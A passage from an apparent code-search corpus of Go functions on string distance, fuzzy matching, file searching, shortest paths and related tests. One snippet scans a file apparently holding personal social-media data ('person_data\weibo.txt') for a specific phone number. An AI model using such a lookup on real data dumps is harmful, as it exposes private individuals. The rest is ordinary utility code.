secondPath)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif wireDistance != 410 {\n\t\tt.Errorf(\"expected wireDistance == 410, got %d\", wireDistance)\n\t}\n}", "func (m *World) ShortestPathsLens() [][]int {\n\tdistArray := m.initializeShortestPaths()\n\n\tfor k := 0; k < len(distArray); k++ {\n\t\tfor i := 0; i < len(distArray); i++ {\n\t\t\tfor j := 0; j < len(distArray); j++ {\n\n\t\t\t\tif distArray[i][j] > distArray[i][k]+distArray[k][j] {\n\t\t\t\t\tdistArray[i][j] = distArray[i][k] + distArray[k][j]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn distArray\n}", "func OpenFileAndFindString(filename string, expected string) bool {\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer f.Close()\n\n\tscanner := bufio.NewScanner(f)\n\tscanner.Split(bufio.ScanLines)\n\n\tfor scanner.Scan() {\n\t\tt := scanner.Text()\n\t\ttrimmed := strings.Trim(t, \" \")\n\t\tif trimmed == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\t// matching logic\n\t\tif trimmed == expected {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func EditDistance(s1, s2 string) int {\n\tif len(s1) == 0 {\n\t\treturn len(s2)\n\t}\n\tif len(s2) == 0 {\n\t\treturn len(s1)\n\t}\n\tvar table [1000][1000]int\n\tvar cost int\n\tminValue := func(x, y, z int) int {\n\t\tc := x\n\t\tif y < c {\n\t\t\tc = y\n\t\t}\n\t\tif z < c {\n\t\t\tc = z\n\t\t}\n\t\treturn c\n\t}\n\tfor i := 1; i < len(s1); i++ {\n\t\ttable[i][0] = i\n\t}\n\tfor j := 1; j < len(s2); j++ {\n\t\ttable[0][j] = j\n\t}\n\tfor j := 1; j <= len(s2); j++ {\n\t\tfor i := 1; i <= len(s1); i++ {\n\t\t\tif s1[i-1] == s2[j-1] {\n\t\t\t\tcost = 0\n\t\t\t} else {\n\t\t\t\tcost = 1\n\t\t\t}\n\t\t\ttable[i][j] = minValue((table[i-1][j] + 1), (table[i][j-1] + 1), (table[i-1][j-1] + cost))\n\t\t}\n\t}\n\treturn table[len(s1)][len(s2)]\n}", "func New(possible []string, subsetSize []int) *ClosestMatch {\n\tcm := new(ClosestMatch)\n\tcm.SubstringSizes = subsetSize\n\tcm.SubstringToID = make(map[string]map[uint32]struct{})\n\tcm.ID = make(map[uint32]IDInfo)\n\tfor i, s := range possible {\n\t\tsubstrings := cm.splitWord(strings.ToLower(s))\n\t\tcm.ID[uint32(i)] = IDInfo{Key: s, NumSubstrings: len(substrings)}\n\t\tfor substring := range substrings {\n\t\t\tif _, ok := cm.SubstringToID[substring]; !ok {\n\t\t\t\tcm.SubstringToID[substring] = make(map[uint32]struct{})\n\t\t\t}\n\t\t\tcm.SubstringToID[substring][uint32(i)] = struct{}{}\n\t\t}\n\t}\n\n\treturn cm\n}", "func findEquivalentStrings(keys []string, skipindex int) (Seq, error) {\n\tcharmap := make(map[Seq]int)\n\tfor k := range keys {\n\t\tseq := Seq{keys[k][:skipindex], keys[k][skipindex+1:]}\n\t\tcharmap[seq]++\n\t\tif charmap[seq] >= 2 {\n\t\t\treturn seq, nil\n\t\t}\n\t}\n\treturn Seq{}, errors.New(\"could not find solution\")\n}", "func Compare(d1, d2 *DirScan) []*File {\n\tinfof(\"Comparing %s to %s\", d1, d2)\n\n\t// 0) Create map with name and normalized name as keys\n\tfileMap := make(map[string]*File)\n\tfor _, f := range d2.Files {\n\t\tfileMap[f.Name] = f\n\t\tfileMap[f.AbsolutePath] = f\n\t\tfileMap[Normalize(f.Name)] = f\n\t}\n\n\t// 1) Find filename matches\n\tcount := 0\n\tfor _, f := range d1.Files {\n\t\tvar match *File\n\n\t\t// 1a) Did file already match?\n\t\texisting := f.Metadata[\"match\"]\n\t\tif existing != \"\" {\n\t\t\tmatch = fileMap[existing]\n\t\t}\n\n\t\t// 1b) Look for exact name match\n\t\tif match == nil {\n\t\t\tmatch = fileMap[f.Name]\n\t\t\tif match != nil && f.Size == match.Size {\n\t\t\t\tdebugf(\"Matched: %s to %s\", f.AbsolutePath, match.AbsolutePath)\n\t\t\t} else {\n\t\t\t\tmatch = nil\n\t\t\t}\n\t\t}\n\n\t\t// 1c) Failing that, look for close enough match\n\t\tif match == nil {\n\t\t\tmatch = fileMap[Normalize(f.Name)]\n\t\t\tif match != nil && f.Size == match.Size {\n\t\t\t\tdebugf(\"Matched: %s to %s\", f.AbsolutePath, match.AbsolutePath)\n\t\t\t} else {\n\t\t\t\tmatch = nil\n\t\t\t}\n\t\t}\n\n\t\t// 1d) Track matches\n\t\tif match != nil {\n\t\t\tf.Metadata[\"match\"] = match.AbsolutePath\n\t\t\tmatch.Metadata[\"match\"] = f.AbsolutePath\n\t\t} else {\n\t\t\tcount++\n\t\t}\n\t}\n\n\t// 2) If there are files without name matches, calculate hashes for all files that didn't match to anything\n\tif count > 0 {\n\t\tinfof(\"Calculating file hashes ...\")\n\t\tgetHashes(d1, nil)\n\n\t\tcb := func(f *File, hash string) {\n\t\t\tfileMap[hash] = f\n\t\t}\n\t\tgetHashes(d2, cb)\n\t}\n\n\t// 3) Match files based on hash\n\tdiff := make([]*File, 0)\n\tfor _, f := range d1.Files {\n\t\tif f.Metadata[\"match\"] == \"\" {\n\t\t\thash := f.Metadata[\"hash\"]\n\t\t\tif hash != \"\" {\n\t\t\t\tmatch := fileMap[hash]\n\t\t\t\tif match != nil {\n\t\t\t\t\tdebugf(\"Matched: %s to %s\", f.AbsolutePath, match.AbsolutePath)\n\t\t\t\t\tf.Metadata[\"match\"] = match.AbsolutePath\n\t\t\t\t\tmatch.Metadata[\"match\"] = f.AbsolutePath\n\t\t\t\t} else {\n\t\t\t\t\tdiff = append(diff, f)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdiff = append(diff, f)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(diff) > 0 {\n\t\tinfof(\"%d files in %s are not in %s\", len(diff), d1.Name, d2.Name)\n\t} else {\n\t\tinfof(\"All files in %s found in %s\", d1.Name, d2.Name)\n\t}\n\n\treturn diff\n}", "func (self *Sax) CompareStrings(list_letters_a, list_letters_b []byte) (float64, error) {\n if len(list_letters_a) != len(list_letters_b) {\n return 0, ErrStringsAreDifferentLength\n }\n mindist := 0.0\n for i := 0; i < len(list_letters_a); i++ {\n mindist += math.Pow(self.compare_letters(rune(list_letters_a[i]), rune(list_letters_b[i])), 2)\n }\n mindist = self.scalingFactor * math.Sqrt(mindist)\n return mindist, nil\n\n}", "func TestSearchWord(t *testing.T) {\n\ts, dir := createTestServer(5, 8, 8, 0.000001, uint64(100000))\n\tdefer os.RemoveAll(dir)\n\n\tc, cliDir := createTestClient(s, 0)\n\tdefer os.RemoveAll(cliDir)\n\n\tcontents := []string{\n\t\t\"This is a simple test file\",\n\t\t\"This is another test file\",\n\t\t\"This is a different test file\",\n\t\t\"This is yet another test file\",\n\t\t\"This is the last test file\"}\n\n\tfilenames := make([]string, 5)\n\n\tfor i := 0; i < len(contents); i++ {\n\t\tfile := createTestFile(contents[i])\n\t\tdefer os.Remove(file)\n\t\t_, filenames[i] = path.Split(file)\n\t\tc.AddFile(file)\n\t}\n\n\tc2, cliDir2 := createTestClient(s, 1)\n\tdefer os.RemoveAll(cliDir2)\n\n\texpected := []string{filenames[1], filenames[3]}\n\tsort.Strings(expected)\n\tactual, _, err := c2.SearchWord(\"another\")\n\tif err != nil {\n\t\tt.Fatalf(\"error when searching word: %s\", err)\n\t}\n\tsort.Strings(actual)\n\tif !reflect.DeepEqual(expected, actual) {\n\t\tt.Fatalf(\"incorrect search result\")\n\t}\n\n\tempty, _, err := c2.SearchWord(\"non-existing\")\n\tif err != nil {\n\t\tt.Fatalf(\"error when searching word: %s\", err)\n\t}\n\tif len(empty) > 0 {\n\t\tt.Fatalf(\"filenames found for non-existing word\")\n\t}\n\n\texpected = filenames\n\tsort.Strings(expected)\n\tactual, _, err = c2.SearchWord(\"file\")\n\tif err != nil {\n\t\tt.Fatalf(\"error when searching word: %s\", err)\n\t}\n\tsort.Strings(actual)\n\tif !reflect.DeepEqual(expected, actual) {\n\t\tt.Fatalf(\"incorrect search result\")\n\t}\n}", "func CompareSegmentedStrings(s1, s2 string) float64 {\n\tsimilarity := 0.0\n\n\tif len(s1) == 0 || len(s2) == 0 {\n\t\treturn 0\n\t}\n\n\tif s1 == s2 {\n\t\treturn 1\n\t}\n\n\tsegs1 := segmentString(s1) // target string comparing against\n\tsegs2 := segmentString(s2)\n\n\tlongestStringLength := mmath.Max2(len(segs1), len(segs2))\n\tsetSegmentWeighting(longestStringLength)\n\n\t// need to have something to compare\n\tif len(segs1) == 0 || len(segs2) == 0 {\n\t\treturn similarity\n\t}\n\n\tif len(segs1) > len(segs2) {\n\t\tfor index, segment := range segs2 {\n\t\t\tpos := contains(segs1, segment)\n\n\t\t\tif pos == index {\n\t\t\t\t// same segment in same place\n\n\t\t\t\tsimilarity += segmentWeighting[weightingExactMatch]\n\t\t\t} else if pos != -1 {\n\t\t\t\tsimilarity += segmentWeighting[weightingExistanceMatch]\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor index, segment := range segs1 {\n\t\t\tpos := contains(segs2, segment)\n\n\t\t\tif pos == index {\n\t\t\t\t// same segment in same place\n\t\t\t\tsimilarity += segmentWeighting[weightingExactMatch]\n\t\t\t} else if pos != -1 {\n\t\t\t\tsimilarity += segmentWeighting[weightingExistanceMatch]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn float64(similarity / (segmentWeighting[weightingExactMatch] * float64(longestStringLength)))\n}", "func SearchFile(filename string, paths ...string) (fullPath string, err error) {\n\tfor _, path := range paths {\n\t\tif fullPath = filepath.Join(path, filename); IsExist(fullPath) {\n\t\t\treturn\n\t\t}\n\t}\n\terr = errors.New(fullPath + \" not found in paths\")\n\treturn\n}", "func callerShortfile(file string, lastsep_ ...rune) string {\n\tlastsep := '/'\n\tif len(lastsep_) > 0 {\n\t\tlastsep = lastsep_[0]\n\t}\n\tshort := file\n\tfor i := len(file) - 1; i > 0; i-- {\n\t\tif file[i] == byte(lastsep) {\n\t\t\tshort = file[i+1:]\n\t\t\tbreak\n\t\t}\n\t}\n\treturn short\n}", "func shortenFilePath(file string) string {\n short := file\n for i := len(file) - 1; i > 0; i-- {\n if file[i] == '/' {\n short = file[i+1:]\n break\n }\n }\n file = short\n return file\n}", "func ComputeOptimal(o Options) string {\n var m Samples // Map of samples and its relation ships\n m.Init() // Prepare data structure for data\n\n // Load Kindship data\n processFile(m, o.KS, func(m Samples, s_line, s_header []string) error {\n return m.AddRelation(s_line)\n })\n\n // Load (if necessary) the list of animals we want to include for sure in the\n // final list\n forceList := make(map[string]bool)\n if o.Force != nil {\n processFile(m, o.Force, func(m Samples, s_line, s_header []string) error {\n forceList[strings.Trim(s_line[0], \" \")] = true\n return nil\n })\n }\n\n // Prepare a set with all the samples\n // Drop the ones that are related to all the animals in the force list\n set := make(map[string]bool)\n set = m.RelateRemove(o.PhiFilter, forceList)\n\n // Prepare the seed for random\n rand.Seed(time.Now().UTC().UnixNano())\n\n // Call the optimal routine and iterate over the elements in the results\n final := []string{}\n for e, _ := range findOptimalSet(set, m, o.PhiFilter, forceList) {\n final = append(final, e)\n }\n\n return strings.Join(final, \"\\n\")\n}", "func getCommonPrefix(p []string, f []int, lmin int) string {\n r := []rune(p[f[0]])\n newR := make([]rune, lmin)\n for j := 0; j < lmin; j++ {\n newR[j] = r[j]\n }\n return string(newR)\n}", "func minCost(matchs []match) (match, error) {\n\tif len(matchs) == 0 {\n\t\treturn match{}, errors.New(\"match.len \")\n\t}\n\tr := matchs[0]\n\tfor _, m := range matchs {\n\t\tif m.cost < r.cost {\n\t\t\tr = m\n\t\t}\n\t}\n\treturn r, nil\n}", "func (cm *ClosestMatch) ClosestN(searchWord string, n int) []string {\n\tmatches := make([]string, n)\n\tj := 0\n\tfor i, pair := range rankByWordCount(cm.match(searchWord)) {\n\t\tif i == n {\n\t\t\tbreak\n\t\t}\n\t\tmatches[i] = pair.Key\n\t\tj = i\n\t}\n\treturn matches[:j+1]\n}", "func shortestSubstringContainingRunes(s, chars string) string {\n\tif len(s) == 0 || len(chars) == 0 {\n\t\treturn \"\"\n\t}\n\n\t// Create a histogram of runes and initialize it with s.\n\ta := []rune(s)\n\th := newRuneHistogram([]rune(chars), a)\n\tif !h.isValid() {\n\t\treturn \"\" // there is no solution\n\t}\n\n\t// Find the index of the last rune in the string which we cannot remove from\n\t// the histogram without making it invalid.\n\tlast := len(a) - 1\n\tfor ; last >= 0; last-- {\n\t\th.removeRune(a[last])\n\t\tif !h.isValid() {\n\t\t\th.addRune(a[last]) // put back to restore validity\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// For each index in the string starting at 0, remove the corresponding rune\n\t// from the histogram, then add runes beyond LAST as long as the histogram\n\t// is invalid. If the new span is shorter than the old one, remember it.\n\tbest := Range{0, last}\n\tfor i, r := range a {\n\t\th.removeRune(r)\n\t\tfor !h.isValid() && last < len(a)-1 {\n\t\t\tlast++\n\t\t\th.addRune(a[last])\n\t\t}\n\t\tif !h.isValid() {\n\t\t\tbreak\n\t\t}\n\t\tspan := Range{first: i + 1, last: last} // N.B. we removed a[i]\n\t\tif span.length() < best.length() {\n\t\t\tbest = span\n\t\t}\n\t}\n\n\t// Extract and return the substring corresponding to the best span, or an\n\t// empty string if the spam is empty.\n\treturn s[best.first : best.last+1]\n}", "func AsStringShortest(value bool) AsStringAttr {\n\treturn func(m optionalAttr) {\n\t\tm[\"shortest\"] = value\n\t}\n}", "func Distance(a, b string) (num int, err error) {\n\tif len(a) != len(b) {\n\t\treturn 0, fmt.Errorf(\"input strings have differing length\")\n\t}\n\n\tdefer func() {\n\t\tif rErr := recover(); rErr != nil {\n\t\t\tnum = 0\n\t\t\terr = fmt.Errorf(\"failed to read from reader\")\n\t\t}\n\t}()\n\n\taR := strings.NewReader(a)\n\tbR := strings.NewReader(b)\n\n\tfor aR.Len() > 0 {\n\t\tif readRune(aR) != readRune(bR) {\n\t\t\tnum++\n\t\t}\n\t}\n\treturn\n}", "func findSamePartFromTwoString(first string, second string, sameMinLen int) []string {\n\tif len(first) == 0 || len(second) == 0 {\n\t\treturn nil\n\t}\n\tfirstParts := strings.Split(first, \"\")\n\tfirstLen := len(firstParts)\n\tvar commParts []string\n\tstartIndex := 0\n\tcommStr := \"\"\n\tcommStartIndex := -1\n\tsubLen := sameMinLen\n\tfor startIndex <= firstLen-sameMinLen {\n\t\tsub := strings.Join(firstParts[startIndex:startIndex+subLen], \"\")\n\t\tif strings.Contains(second, sub) {\n\t\t\tcommStr = sub\n\t\t\tif commStartIndex == -1 {\n\t\t\t\tcommStartIndex = startIndex\n\t\t\t}\n\t\t\tsubLen++\n\t\t} else {\n\t\t\tif commStartIndex != -1 {\n\t\t\t\tcommStr = strings.TrimSpace(commStr)\n\t\t\t\tif len(strings.Split(commStr, \"\")) >= sameMinLen {\n\t\t\t\t\tcommParts = append(commParts, commStr)\n\t\t\t\t}\n\t\t\t\tcommStr = \"\"\n\t\t\t\tcommStartIndex = -1\n\t\t\t\tstartIndex += subLen - 1\n\t\t\t\tsubLen = sameMinLen\n\t\t\t} else {\n\t\t\t\tstartIndex++\n\t\t\t}\n\n\t\t}\n\t\tif startIndex+subLen > firstLen {\n\t\t\tif commStartIndex != -1 {\n\t\t\t\tcommStr = strings.TrimSpace(commStr)\n\t\t\t\tif len(strings.Split(commStr, \"\")) >= sameMinLen {\n\t\t\t\t\tcommParts = append(commParts, commStr)\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\treturn commParts\n}", "func BestCipherFromString(line string) *StringCipherScore {\n\tbest := &StringCipherScore{}\n\tbyteLine := []byte(line)\n\n\tfor i := uint16(0); i <= 0x255; i++ {\n\t\tbest.addCipher(rune(i), byteLine)\n\t}\n\n\t// best.AddCipherFromRuneRange(unicode.ASCII_Hex_Digit.R16, byteLine)\n\t// best.AddCipherFromRuneRange(unicode.Punct.R16, byteLine)\n\t// best.AddCipherFromRuneRange(unicode.White_Space.R16, byteLine)\n\t// best.AddCipherFromRuneRange(unicode.Letter.R16, byteLine)\n\t// best.AddCipherFromRuneRange(unicode.Common.R16, byteLine)\n\t// best.AddCipherFromRuneRange(unicode.Digit.R16, byteLine)\n\t// best.AddCipherFromRuneRange(unicode.Other_Alphabetic.R16, byteLine)\n\n\t// for _, r16 := range unicode.ASCII_Hex_Digit.R16 {\n\t// \tfor c := r16.Lo; c <= r16.Hi; c += r16.Stride {\n\t// \t\tfmt.Printf(\"%v\", rune(c))\n\t// \t\tbest.addCipher(rune(c), byteLine)\n\t// \t}\n\t// }\n\t// for _, r32 := range unicode.ASCII_Hex_Digit.R32 {\n\t// for c := r32.Lo; c <= r32.Hi; c += r32.Stride {\n\t// fmt.Printf(\"%v\", rune(c))\n\t// best.addCipher(rune(c), byteLine)\n\t// }\n\t// }\n\t// for _, l := range unicode.Letter.R16 {\n\t// for c := l.Lo; c <= l.Hi; c += l.Stride {\n\t// best.addCipher(rune(c), byteLine)\n\t// }\n\t// }\n\t// for _, l := range unicode.Letter.R32 {\n\t// \tfor c := l.Lo; c <= l.Hi; c += l.Stride {\n\t// \t\tbest.addCipher(rune(c), byteLine)\n\t// \t}\n\t// }\n\treturn best\n}", "func (tf tFiles) searchMin(icmp *iComparer, ikey internalKey) int {\n\treturn sort.Search(len(tf), func(i int) bool {\n\t\treturn icmp.Compare(tf[i].imin, ikey) >= 0\n\t})\n}", "func LevDist(s string, t string) int {\n\tm := len(s)\n\tn := len(t)\n\td := make([][]int, m+1)\n\tfor i := range d {\n\t\td[i] = make([]int, n+1)\n\t}\n\tfor i := range d {\n\t\td[i][0] = i\n\t}\n\tfor j := range d[0] {\n\t\td[0][j] = j\n\t}\n\tfor j := 1; j <= n; j++ {\n\t\tfor i := 1; i <= m; i++ {\n\t\t\tif s[i-1] == t[j-1] {\n\t\t\t\td[i][j] = d[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tmin := d[i-1][j]\n\t\t\t\tif d[i][j-1] < min {\n\t\t\t\t\tmin = d[i][j-1]\n\t\t\t\t}\n\t\t\t\tif d[i-1][j-1] < min {\n\t\t\t\t\tmin = d[i-1][j-1]\n\t\t\t\t}\n\t\t\t\td[i][j] = min + 1\n\t\t\t}\n\t\t}\n\n\t}\n\treturn d[m][n]\n}", "func TestSmallPaths(t *testing.T) {\n\tfirstPath := \"R8,U5,L5,D3\"\n\tsecondPath := \"U7,R6,D4,L4\"\n\n\tfirstWire, err := processWirePath(firstPath)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tsecondWire, err := processWirePath(secondPath)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tintersections := findIntersections(firstWire, secondWire)\n\n\tif len(intersections) != 2 {\n\t\tt.Errorf(\"expected len(intersections) == 2, got %d\", len(intersections))\n\t}\n\n\tpoint1 := point {x: 3, y: 3}\n\tpoint2 := point {x: 6, y: 5}\n\n\tif !intersections.contains(point1) {\n\t\tt.Errorf(\"could not find point %v\", point1)\n\t}\n\n\tif !intersections.contains(point2) {\n\t\tt.Errorf(\"could not find point %v\", point2)\n\t}\n\n\tdistance := findSmallestManhattanDistance(intersections)\n\n\tif distance != 6 {\n\t\tt.Errorf(\"expected distance == 6, got %d\", distance)\n\t}\n\n\twireDistance := findSmallestWireDistance(firstWire, secondWire, intersections)\n\n\tif wireDistance != 30 {\n\t\tt.Errorf(\"expected wireDistance == 30, got %d\", wireDistance)\n\t}\n}", "func TestShortestPathFrom1(t *testing.T) {\n\tdirectedGraph := [3][]int{\n\t\t{1, 2, 1, 2, 3, 4, 5, 5},\n\t\t{2, 3, 3, 4, 5, 6, 4, 6},\n\t\t{2, 1, 4, 7, 3, 1, 2, 5},\n\t}\n\texpectedPath := []int{1, 2, 3, 5, 4, 6}\n\tshortestPath := ShortestPathFrom(1, 6, directedGraph)\n\tif shortestPath.weight != 9 {\n\t\tt.Fatalf(\"Expected weight %v, received %v\", 9, shortestPath.weight)\n\t}\n\tif !reflect.DeepEqual(shortestPath.path, expectedPath) {\n\t\tt.Fatalf(\"Expected path %v, received %v\", expectedPath, shortestPath.path)\n\t}\n}", "func Search(fileName string, paths ...string) (fullpath string, err error) {\n\tfor _, path := range paths {\n\t\tif fullpath = filepath.Join(path, fileName); Exist(fullpath) {\n\t\t\treturn\n\t\t}\n\t}\n\terr = errors.New(fullpath + \" not found in paths\")\n\treturn\n}", "func getShorterString(a string, b string) int {\n\tif len(a) <= len(b) {\n\t\treturn len(a)\n\t}\n\treturn len(b)\n}", "func execSearchStrings(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := sort.SearchStrings(args[0].([]string), args[1].(string))\n\tp.Ret(2, ret)\n}", "func Test_searchWord_FindMatchingFile_MatchingFileReturned(t *testing.T) {\n\tterm := \"findme\"\n\tfileName := \"findme\"\n\ttestingDir := \"TestDir\"\n\tdirPath, err := filepath.Abs(testingDir)\n\tif err != nil {\n\t\tt.Error(\"Couldn't get absolute path\")\n\t}\n\t//remove test Dir if exists\n\tif _, err := os.Stat(dirPath); err == nil {\n\t\tos.RemoveAll(dirPath)\n\t}\n\t//create test Dir\n\terr = os.Mkdir(dirPath, os.ModePerm)\n\tif err != nil {\n\t\tt.Error(\"Couldn't create test directory\")\n\t}\n\t//create test File\n\t_, err = os.Create(filepath.Join(dirPath, fileName))\n\tif err != nil {\n\t\tt.Error(\"File could not be created\")\n\t}\n\tvar buf []byte\n\tresult, err := searchWord(term, dirPath, &buf)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfmt.Println(\"Results found in test: \" + result)\n\tif !strings.Contains(result, term) {\n\t\tt.Fatal(\"Test failed! Expected \" + fileName + \" but found nothing\")\n\t}\n}", "func Search(pattern string, flags []string, files []string) []string {\n\tparams := getParameters(flags)\n\tfmt.Printf(\"%v\", params)\n\tresults := make([]result, 0)\n\tfor _, fileName := range files {\n\t\tfile, err := os.Open(fileName)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Error encountered\")\n\t\t}\n\t\tdefer file.Close()\n\n\t\tscanner := bufio.NewScanner(file)\n\t\tlineNumber := 0\n\t\tfor scanner.Scan() {\n\t\t\tline := scanner.Text()\n\t\t\tif isMatch(line, pattern) {\n\t\t\t\tresults = append(results, result{fileName, lineNumber, line})\n\t\t\t}\n\t\t}\n\n\t\tif err := scanner.Err(); err != nil {\n\t\t\tfmt.Printf(\"Error reading file\")\n\t\t}\n\t}\n\tout := getResultStrings(results)\n\treturn out\n}", "func searchInFile(path string, text string) []*Snippet {\n\tret := []*Snippet{}\n\n\tbytes, err := ioutil.ReadFile(path)\n\tif nil != err {\n\t\tlogger.Errorf(\"Read file [%s] failed: [%s]\", path, err.Error())\n\n\t\treturn ret\n\t}\n\n\tcontent := string(bytes)\n\tif gulu.File.IsBinary(content) {\n\t\treturn ret\n\t}\n\n\tlines := strings.Split(content, \"\\n\")\n\n\tfor idx, line := range lines {\n\t\tch := strings.Index(strings.ToLower(line), strings.ToLower(text))\n\n\t\tif -1 != ch {\n\t\t\tsnippet := &Snippet{Path: filepath.ToSlash(path),\n\t\t\t\tLine: idx + 1, Ch: ch + 1, Contents: []string{line}}\n\n\t\t\tret = append(ret, snippet)\n\t\t}\n\t}\n\n\treturn ret\n}", "func Comparefiles(file1 string, file2 string) (result, error) {\n var r result\n r.paths = true\n var err error\n f1, _ := fileExists(file1)\n f2, _ := fileExists(file2)\n if !f1 || !f2 {\n return r, fmt.Errorf(\"Warning: Cannot find file.\\n\")\n }\n r.s1, err = createfilehash(file1)\n if err != nil {\n return r, err\n }\n r.s2, err = createfilehash(file2)\n if err != nil {\n return r, err\n }\n r.score, err = ssdeep.Compare(r.s1, r.s2)\n if err != nil {\n return r, err\n }\n if r.score == 100 { //100 spotted in the wild for non-identifcal files\n if strings.Compare(r.s1, r.s2) != 0 {\n r.strflag = true\n }\n shaval1, err := hashfile(file1)\n if err != nil {\n return r, err_sha1_file1\n } \n shaval2, err := hashfile(file2)\n if err != nil {\n return r, err_sha1_file2\n }\n if strings.Compare(shaval1, shaval2) != 0 {\n r.shaflag = true\n }\n }\n return r, nil \n}", "func main() {\n\tstart1 := time.Now()\n\tf, err := os.Open(`E:\\SocialData\\person_data\\weibo.txt`)\n\n\tscanner := bufio.NewScanner(f)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Println(\"Open spend time:\", time.Now().Sub(start1))\n\tdefer f.Close()\n\tstart2 := time.Now()\n\ttoFind := []byte(\"15555001522\")\n\n\tfor scanner.Scan() {\n\t\tif bytes.Contains(scanner.Bytes(), toFind) {\n\t\t\tfmt.Println(scanner.Text())\n\t\t\tfmt.Println(\"Find spend time:\", time.Now().Sub(start2))\n\t\t\tfmt.Println(\"Congratulations!\")\n\t\t\tos.Exit(0)\n\n\t\t}\n\t}\n\tfmt.Println(\"Sorry Not Found.\")\n\tfmt.Println(\"All done spend time:\", time.Now().Sub(start1))\n}", "func (c *LevenContext) ApproxLeven(p string, t string, maxE int, op Options) ([]Match, error) {\n\n\t// Check for empty strings first\n\tif p == \"\" {\n\t\treturn nil, fmt.Errorf(\"pattern to search empty\")\n\t} else if t == \"\" {\n\t\treturn nil, fmt.Errorf(\"text to search is empty\")\n\t}\n\tpattern := []rune(p)\n\ttext := []rune(t)\n\theight := len(pattern) + 1\n\twidth := len(text) + 1\n\tmatrix := c.getMatrix(height)\n\n\t// Initialize trivial distances (from/to empty string). That is, fill\n\t// the left column and the top row with row/column indices.\n\tfor i := 0; i < height; i++ {\n\t\tmatrix[i] = make([]int, width)\n\t\tmatrix[i][0] = i\n\t}\n\t// Set the top row to 0's\n\tfor j := 1; j < width; j++ {\n\t\tmatrix[0][j] = 0\n\t}\n\n\t// Fill in the remaining cells: for each prefix pair, choose the\n\t// (edit history, operation) pair with the lowest cost.\n\tfor i := 1; i < height; i++ {\n\t\tcurrentMin := MaxInt\n\t\tfor j := 1; j < width; j++ {\n\t\t\tdelCost := matrix[i-1][j] + op.DelCost\n\t\t\tmatchSubCost := matrix[i-1][j-1]\n\t\t\tif !op.Matches(pattern[i-1], text[j-1]) {\n\t\t\t\tmatchSubCost += op.SubCost\n\t\t\t}\n\t\t\tinsCost := matrix[i][j-1] + op.InsCost\n\t\t\tmatrix[i][j] = min(delCost, min(matchSubCost,\n\t\t\t\tinsCost))\n\t\t\tif matrix[i][j] < currentMin {\n\t\t\t\tcurrentMin = matrix[i][j]\n\t\t\t}\n\t\t}\n\t\t// Check to see if the min for the row is greater than the\n\t\t// max allowed\n\t\tif currentMin > maxE {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\t//LogMatrix(pattern, text, matrix)\n\t// Return a traceback for each alignment less than maxE\n\tminCols := []int{}\n\tfor j := 0; j <= len(text); j++ {\n\t\tif matrix[len(pattern)][j] <= maxE {\n\t\t\tminCols = append(minCols, j)\n\t\t}\n\t}\n\n\t// If we somehow end up with no good matches\n\t//\tif len(minCols) == 0 {\n\t//\t\treturn []Match{}\n\t//\t}\n\tmatches, err := trace(matrix, pattern, text, minCols, op)\n\tif err != nil {\n\t\treturn matches, fmt.Errorf(\"can't traceback matches: %v\", err)\n\t}\n\treturn matches, nil\n\n}", "func BestMatch(pattern string, searchList []string) int {\n\tpattern = strings.ToLower(pattern)\n\n\tindex := -1\n\n\tfor i, searchItem := range searchList {\n\t\tsearchItem = strings.ToLower(searchItem)\n\n\t\tif searchItem == pattern {\n\t\t\treturn i\n\t\t}\n\n\t\tif strings.HasPrefix(searchItem, pattern) {\n\t\t\tif index != -1 {\n\t\t\t\treturn -2\n\t\t\t}\n\n\t\t\tindex = i\n\t\t}\n\t}\n\n\treturn index\n}", "func CompareStrings(a, b string) float64 {\n\treturn jellyfish.JaroWinkler(a, b)\n}", "func (f *FileCompleter) Complete(s string) (string, []string, error) {\n\t// Check for an exact match. If so, that is good enough.\n\tvar x string\n\tp := filepath.Join(f.Root, s)\n\tDebug(\"FileCompleter: Check %v with %v\", s, p)\n\tg, err := filepath.Glob(p)\n\tDebug(\"FileCompleter: %s: matches %v, err %v\", s, g, err)\n\tif len(g) > 0 {\n\t\tx = g[0]\n\t}\n\tp = filepath.Join(f.Root, s+\"*\")\n\tDebug(\"FileCompleter: Check %v* with %v\", s, p)\n\tg, err = filepath.Glob(p)\n\tDebug(\"FileCompleter: %s*: matches %v, err %v\", s, g, err)\n\tif err != nil || len(g) == 0 {\n\t\t// one last test: directory?\n\t\tp = filepath.Join(f.Root, s, \"*\")\n\t\tg, err = filepath.Glob(p)\n\t\tif err != nil || len(g) == 0 {\n\t\t\treturn x, nil, err\n\t\t}\n\t}\n\t// Here's a complication: we don't want to repeat\n\t// the exact match in the g array\n\tvar ret []string\n\tfor i := range g {\n\t\tif g[i] == x {\n\t\t\tcontinue\n\t\t}\n\t\tret = append(ret, g[i])\n\t}\n\tDebug(\"FileCompleter: %s: returns %v, %v\", s, g, ret)\n\treturn x, ret, err\n}", "func (moves Moves) BestMatch(p path.Path) *Move {\n\tvar matches Moves\n\tfor _, mv := range moves {\n\t\tif mv.From.Contains(p) {\n\t\t\tmatches = append(matches, mv)\n\t\t}\n\t}\n\n\tif len(matches) == 0 {\n\t\treturn nil\n\t}\n\n\tsort.Sort(matches)\n\treturn matches[len(matches)-1]\n}", "func bestDistance(nodes map[string]node, objectiveFn func() func(int) bool) int {\n\tkeys, indices := []string{}, []int{}\n\tfor k := range nodes {\n\t\tindices = append(indices, len(keys))\n\t\tkeys = append(keys, 